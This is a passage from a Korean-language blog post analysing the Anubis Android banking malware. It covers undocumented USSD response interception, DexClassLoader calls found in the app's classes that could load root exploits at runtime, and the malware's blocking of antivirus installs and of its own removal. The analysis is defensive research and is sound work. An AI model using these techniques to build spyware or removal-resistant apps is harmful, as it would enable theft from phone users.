  • 안드로이드에서 USSD 코드를 DIAL 또는 CALL로 요청했을 때 응답을 가로채는 것은 구현이 불가능하지만, 비공식적으로 (공식문서에 기술되어 있지 않은 방식) IExtendedNetworkService.aidl를 구현하고 getUserMessage(text) 함수를 사용하면, USSD call로 반환되는 텍스트를 얻을 수 있다.
  • https://stackoverflow.com/questions/19066677/how-to-get-response-from-ussd-code-from-android

 

 

V. 런타임에 코드 패치 & 로드

koharin@koharin-virtual-machine:~/Anubis_analysis$ cat used_classes.txt | grep DexClassLoader
Ldalvik/system/DexClassLoader;
Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;
Ldalvik/system/DexClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;

API를 확인해보면, 악성 앱은 DexClassLoader를 사용하여 런타님에 class 파일을 로드한다. 해당 기능은 exploit (root exploit) 코드를 로드하는데 사용할 수 있다.

 

 

Conclusion


  • 해당 악성코드의 경우, 악성 앱에 부여되는 permission이 많아 다양한 악성 기능을 수행이 가능했다.
  • 사용자가 Anti Virus 프로그램을 웹에서나 소프트웨어에서나 설치 불가능하도록 하였고, 악성 앱임을 인지하여도 앱 삭제하는 설정 창을 닫는 기능으로 악성 앱 삭제를 어렵도록 했다.

 

 

Reference


 

 

Deep Analysis of Anubis Banking Malware

Anubis is a well known android banking malware. Although it hasn’t been around for long, it had…

n1ght-w0lf.github.io

 

 

GitHub - ChickenHook/Anubis-pandemidestek: Anubis malware variant for turkish market - full analysis - SHA256: 231d970ea3195b3ba

Anubis malware variant for turkish market - full analysis - SHA256: 231d970ea3195b3ba3e11e390b6def78a1c8eb5f0a8b7dccc0b4ec4aee9292ec - GitHub - ChickenHook/Anubis-pandemidestek: Anubis malware vari...

github.com

728x90
반응형

관련글 더보기